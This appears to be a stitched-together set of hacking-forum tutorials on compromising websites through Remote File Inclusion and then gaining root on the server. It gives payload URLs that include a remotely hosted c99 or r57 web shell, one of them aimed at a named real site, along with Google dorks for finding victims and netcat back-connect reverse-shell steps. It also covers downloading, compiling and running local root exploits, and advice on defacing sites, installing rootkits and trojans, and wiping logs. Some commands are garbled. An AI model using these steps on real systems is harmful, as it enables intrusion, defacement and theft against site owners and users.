R.F.I. Rooting Tutorial (Linux Server and Safe Mod: OFF)

You will need:

- Vulnerable Site in R.F.I.
- Shell for R.F.I. (e.g. c99, r57, or other)
- NetCat
- Local Root Exploit (depending on the kernel and the version)
------------------------------------------------------------------------------
The purpose of this tutorial is to give a very general picture in process of Rooting
a Linux Server with Safe Mod: OFF.
 -

Suppose that we have found a site with R.F.I. vulnerability:

http://www.hackedsite.com/folder/index.html?page

We can run shell exploiting Remote File Inclusion, as follows:

http://www.hackedsite.com/folder/ind.../yourshell.txt

The "yourshell.txt" will be your remote shell.. The reason why we add a "?" at the end of the ".txt" is so the server will read it as a PHP File.. and not a normal text file.

After we enter in the shell, first of all we will see the version of the kernel
at the top of the page or by typing: uname - a in Command line.

To continue we must connect with backconnection to the box. This can done with
two ways if we have the suitable shell.

We can use the Back-Connect module of r57/c99 shell or to upload a backconnector
in a writable folder

In most of the shells there is a backconnection feature without to upload the
Connect Back Shell (or another one shell in perl/c). We will analyze the first
way which is inside the shell (in our example the shell is r57).

Initially we open NetCat and give to listen in a specific port (this port must
be correctly opened/forwarded in NAT/Firewall if we have a router) with the
following way:

We will type: 11457 in the port input (This is the default port for the last versions
of r57 shell). We can use and other port.

We press in Windows Start -> Run -> and we type: cmd
After we will go to the NetCat directory:

e.g.

cd C:\Program Files\Netcat

And we type the following command:

nc -n -l -v -p 11457

NetCat respond: listening on [any] 11457 ...

In the central page of r57 shell we find under the following menu::: Net:: and
back-connect. In the IP Form we will type our IP (My IP is 94.228.220.186 - Quick and Easy way to SEE my IP address - CmyIP.com to see our ip if
we have dynamic)

In the Port form we will put the port that we opened and NetCat listens.

If we press connect the shell will respond:

Now script try connect to port 11457 ...

If our settings are correct NetCat will give us a shell to the server

Now we wil continue to the Rooting proccess.

We must find a writable folder in order to download and compile the Local
Root Exploit that will give us root priviledges in the box. Depending on the version
of the Linux kernel there are different exploits. Some times the exploits fail to run
because some boxes are patched or we don't have the correct permissions.

List of the exploits/kernel:

2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl

We will see the case of 2.6.8 Linux kernel. We will need the h00lyshit exploit.

Some sites that we can find Local Root Exploits:

www.milw0rm (Try Search: "linux kernel")

Other sites: .:[ packet storm ]:. - http://packetstormsecurity.org/ | arblan.com - arb lan Resources and Information.
or try Googlin' you can find 'em all ;-)

We can find writable folders/files by typing:

find / -perm -2 -ls

We can use the /tmp folder which is a standard writable folder

We type: cd /tmp

To download the local root exploit we can use a download command for linux like
wget.

For example:
wget arblan.com - arb lan Resources and Information.

where arblan.com - arb lan Resources and Information. is the url of h00lyshit.

After the download we must compile the exploit (Read the instruction of the exploit
before the compile)

For the h00lyshit we must type:

gcc h00lyshit.c -o h00lyshit

Now we have created the executable file: h00lyshit.

The command to run this exploit is:

./h00lyshit

We need a very big file on the disk in order to run successfully and to get root.

We must create a big file in /tmp or into another writable folder.

The command is:

dd if=/dev/urandom of=largefile count=2M

where largefile is the filename.

We must wait 2-3 minutes for the file creation

If this command fails we can try:

dd if=/dev/zero of=/tmp/largefile count=102400 bs=1024

Now we can procced to the last step. We can run the exploit by typing:

./h00lyshit largefile or

./h00lyshit /tmp/largefile

(If we are in a different writable folder and the largefile is created in /tmp)

If there are not running errors (maybe the kernel is patched or is something wrong with
exploit run or large file) we will get root

To check if we got root:

id or

whoami

If it says root we got root!

Now we can deface/mass deface all the sites of the server or to setup a rootkit (e.g.
SSHDoor) and to take ssh/telnet shell access to the server.

We must erase all logs in order to be safe with a log cleaner. A good cleaner for this
job is the MIG Log Cleaner.

Congratulations, You've got root

Remote File Inclusion Tutorial For Website Hacking.

What is RFI?

Remote File Inclusion (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:

• Code execution on the web server
• Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS).
• Denial of Service (DoS)
• Data Theft/Manipulation

RFI is a very uncommon vulnerability due to excessive patches and updates on websites.

What makes a page vulnerable?
A PHP include script looks like this.

Code:

include($_GET['p']
?>

Since the code uses 'p' the syntax would be:

Code:

http://victimsite.com/index.php?[b]p[/b]=URL_TO_SHELL.txt?

If the script looks like this:

Code:

include($_GET['lulz']);
?>

The syntax would then be:

Code:

http://victimsite.com/index.php?lulz=URL_TO_SHELL.txt?

What can I accomplish with RFI?
You can include your PHP shells onto the website (GNYShell, C99, etc).
You can include just about any file onto the website.

How can I search for RFI vulnerable sites?
Well, first, we need to obtain a website with a vulnerability. If you are to lazy to look around here is a google dork you can use to find a vulnerable site:
Also you can use exploit scanners for find RFI Vulnerable site.

Here is a list of some RFI dorks:

inurl:"index.php?page=contact.php"
inurl:"template.php?goto="
inurl:"video.php?content="
inurl:"pages.php?page="
inurl:"index1.php?choix="

For More Dorks Click Here To Download RFI Dork List File

We've got our target, how do we exploit this vulnerability?
Testing the vulnerability is basically exploiting the vulnerability. So we will be testing as well as finishing up.
What you have to do is go to your vulnerable website. In this case I will be making a website up for demonstration.

Code:

http://victimsite.com/index.php?p=interview.php

As you can see above there is a file attached to the index.php file. In this case it is "interview.php". Most of the time there will have to be a file at the end of the URL, just like this one. Since we're including a file there has to be something to replace it with.

Tweaking and exploiting :

What you will need.
You will need to upload your shell in .txt format (shell.txt) instead of .php format (shell.php). I recommend you use c99, r57, Locus, etc.
You will need to upload it to any website hosting.
So once you have uploaded your shell to your website, it should look like this.

Code:

http://yoursite.com/shell.txt

Including our shell to our slave's website.
Okay, once we are at the vulnerable page (http://victimsite.com/index.php?p=include.php) we want to replace "include.php" and include our own file.
Our new link should look like this.

Code:

http://victimsite.com/index.php?p=http://yoursite.com/shell.txt?

Note : The question mark (?) is important. If the site was vulnerable you should now see your shell embedded to the webpage. You can then do as you wish with it. Sometimes "shell.txt?" may not be enough, we may need to use null bytes for it to execute successfully. If you receive an error from "shell.txt?" try "shell.txt?".

What this will do is go under the site as a php format. Because if you look closly at index.PHP, you can see that php is the format, so when we tell the website we want to go to: http://yoursite.com/shell.txt it will mistake it as a php file and retrieve us the data.

Once you got your shell on, you can do many things. You can find config.php to get access to mysql, you can get root, etc.

But, we will be focusing on gaining root.

We will need to back connect, to be able to do this, you need to meet two requirements:

• Port forward the port you want to connect to.
• You will need netcat

Since most shells are sort of screwed on the back connecting part, you can use bc.pl to do a nice back connect.

Back Connect:

Code:

http://pastie.org/396949

Some shells however don't, such as: Locus7Shell, Storm7Shell, GnY shell and some more...

Save as bc.pl then you will need to execute the perl script (bc.pl) to the server itself.

If you want to do this via back connection on shell, then open netcat, type in:

Code:

nc -l -n v- p PORT

You need to insert the port you forwarded, for example:

Code:

nc -l -n -v -p 1337

Press enter, and then it will start listening to the port then go back to the shell and submit the back connection
then once you go back to netcat your ready.

Type:

Code:

whoami

As you can see you do not have root.

Now we need to type uname -a to find out what type of linux box they are running. 

It may look something like this:

Code:

Linux linux1.dmehosting.com 2.6.17-92.1.10.el5PAE #1 SMP Tue Aug 5 08:14:05 EDT 2008 i686

Now look, 2.6.17 is vuln to vmsplice :)

We can add our local root exploit two ways, we can do it via netcat, or we can do it via shell.

now we need to compile it, we can use gcc (compiling command) to do this. Here is how it will look like:

Code:

gcc 5092 -o exploit

What that does is compile 5092 (our Local Root Exploit) and uses -o (which means to open it via exploit)

Or we can do this via shell:

Find your Local Root Exploit for this box, save it as .c go to your shell and upload it.

After uploaded go back to netcat and type in:

Code:

gcc localrootexploit.c -o getr00t

change localrootexploit.c to your exploits name and leave getr00t as what it is named.

Now press enter.

Method #1 (execute Local Root Exploit)
./exploit

Method #2 (execute Local Root Exploit)
./getr00t

Now type in:

Code:

whoami

And if root appears you have successfully rooted this box.

Part 2 

If this box you owned is running a Windows NT box or something familiar, we can "Install a Trojan" on them.

To do this you should see a tab somewhere in the shell where it say says "Backdoor host" or something familiar. If not, try a better shell.

Choose a Trojan you like, from my experience I use:
beast v2.07

Install it then it says its ready. Install beast v2.07 client then insert the IP and port it gave you. Then connect.

You need to remember that some Windows Boxes have firewall protection, but since this is winblows there is usually a backup of the desktop and C:\ meaning you can find the firewall and delete a needed file and then it won't execute correctly then, you got yourself some win.

This is exactly why you never run a Windows box on your server.

If you like you can crash this box using a winpopup message. This is easy to do from unix using smbclient -U Lotsofshit -M host.

So friends, I hope you will like this
Remote File Inclusion Tutorial.... 
I have personally tested this Website Hacking Tutorial and found all are working. If you have any problem in above Website hacking Using Remote File Inclusion Tutorial, please mention it in comments section

RFI (Remote File Inclusion) : Website Hacking Tutorial

Remote File Inclusion (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:
Code execution on the web server
Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS).
Denial of Service (DoS)
Data Theft/Manipulation

Lets Start 

1st Step : Find a Vunerable websites using Google Dork

some dork for searching a RFI Vuln website

“inurl:index.php?page=” its Most Popular Dork of RFI hacking

This will show all the pages which has “index.php?page=” in their URL, Now to test whether thewebsite is vulnerable to Remotefile Inclusion or not the hacker use the following command

www.targetsite.com/index.php?page=www.google.com

see example of this website  http://www.cbspk.com

So the hacker url will become

http://www.cbspk.com/v2/index.php?page=http://www.google.com

If after executing the command the homepage of the google shows up then then the website is vulnerable to this attack if it does not come up then you should look for a new target. In my case after executing the above command in the address bar Google homepage shows up indicating that thewebsite is vulnerable to this attack.

Now the hacker would upload the shells to gain access. The most common shells used are c99 shellor r57 shell. I would use c99 shell. You can download c99 shell from the link below:

http://www.sh3ll.org/c99.zip

The hacker would first upload the shells to a webhosting site such as ripway.com, viralhosts.com,110mb.com or another free hosts etc.

Now here is how a hacker would execute the shells to gain access. Lets say that the url of the shell is http://www.sh3ll.org/c99.txt?

Now here is how a hacker would execute the following command to gain access

http://www.cbspk.com/v2/index.php?page=http://www.sh3ll.org/c99.txt?

Don't Forget To  add “?” after .txt at the end of url or else the shell will not execute. Now the hacker is inside the website and he could do anything with it